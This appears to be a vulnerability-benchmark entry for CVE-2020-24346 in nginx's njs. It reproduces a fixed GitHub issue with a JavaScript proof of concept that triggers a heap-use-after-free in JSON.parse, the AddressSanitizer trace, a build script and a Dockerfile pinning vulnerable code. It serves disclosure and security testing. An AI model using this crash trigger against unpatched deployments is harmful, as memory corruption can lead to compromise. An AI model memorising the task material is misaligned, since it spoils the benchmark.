Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2020-24346
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/325
## Description:
Issue: nginx/njs#325
Title: heap-use-after-free in njs_json_parse_iterator_call
State: closed
Created by: Changochen
Created at: 2020-06-28 18:40:42+00:00
Labels: bug, fuzzer, fluff

Issue Body:
Version:`0.4.2`, git commit `32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5`


POC:
```javascript
function a() {
  this[this['use asm'] = this[this[1024] = ArrayBuffer]] = this[ArrayBuffer] =
      4000
}
JSON.parse("[1, 2, []]", a)
```

cmd: `njs poc.js`

Stack dump:
```
=================================================================
==262019==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000000210 at pc 0x0000005e7fbc bp 0x7ffecccad3f0 sp 0x7ffecccad3e8
WRITE of size 1 at 0x62b000000210 thread T0
    #0 0x5e7fbb in njs_json_parse_iterator_call /home/yongheng/njs/src/njs_json.c:1030:17
    #1 0x5e7fbb in njs_json_parse_iterator /home/yongheng/njs/src/njs_json.c:971:15
    #2 0x5e7fbb in njs_json_parse /home/yongheng/njs/src/njs_json.c:167:16
    #3 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
    #4 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
    #5 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
    #6 0x4c8f01 in njs_process_script /home/yongheng/njs/src/njs_shell.c:843:19
    #7 0x4c68ce in njs_process_file /home/yongheng/njs/src/njs_shell.c:562:11
    #8 0x4c68ce in main /home/yongheng/njs/src/njs_shell.c:286:15
    #9 0x7f10a367db96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #10 0x41c089 in _start (/home/yongheng/njs/build/njs+0x41c089)

0x62b000000210 is located 16 bytes inside of 24632-byte region [0x62b000000200,0x62b000006238)
freed by thread T0 here:
    #0 0x4940fd in __interceptor_free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3
    #1 0x58fefa in njs_array_expand /home/yongheng/njs/src/njs_array.c:386:5

previously allocated by thread T0 here:
    #0 0x494e37 in __interceptor_posix_memalign /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:226:3
    #1 0x77c2fd in njs_memalign /home/yongheng/njs/src/njs_malloc.c:39:11
    #2 0x4daeed in njs_mp_alloc_large /home/yongheng/njs/src/njs_mp.c:578:13
    #3 0x4daeed in njs_mp_align /home/yongheng/njs/src/njs_mp.c:331:16

SUMMARY: AddressSanitizer: heap-use-after-free /home/yongheng/njs/src/njs_json.c:1030:17 in njs_json_parse_iterator_call
Shadow bytes around the buggy address:
  0x0c567fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c567fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8040: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==262019==ABORTING
```


Comments:
Comment by xeioex on 2020-10-06 17:02:21+00:00:
Fixed in https://github.com/nginx/njs/commit/9ab425eac2b6c7eb3a932c8e6934e9992435e328.

Commit References:
32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5
9ab425eac2b6c7eb3a932c8e6934e9992435e328

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial libpcre3-dev subversion
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout c3da13fb18f0d8ec809b346096feab572e634486
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: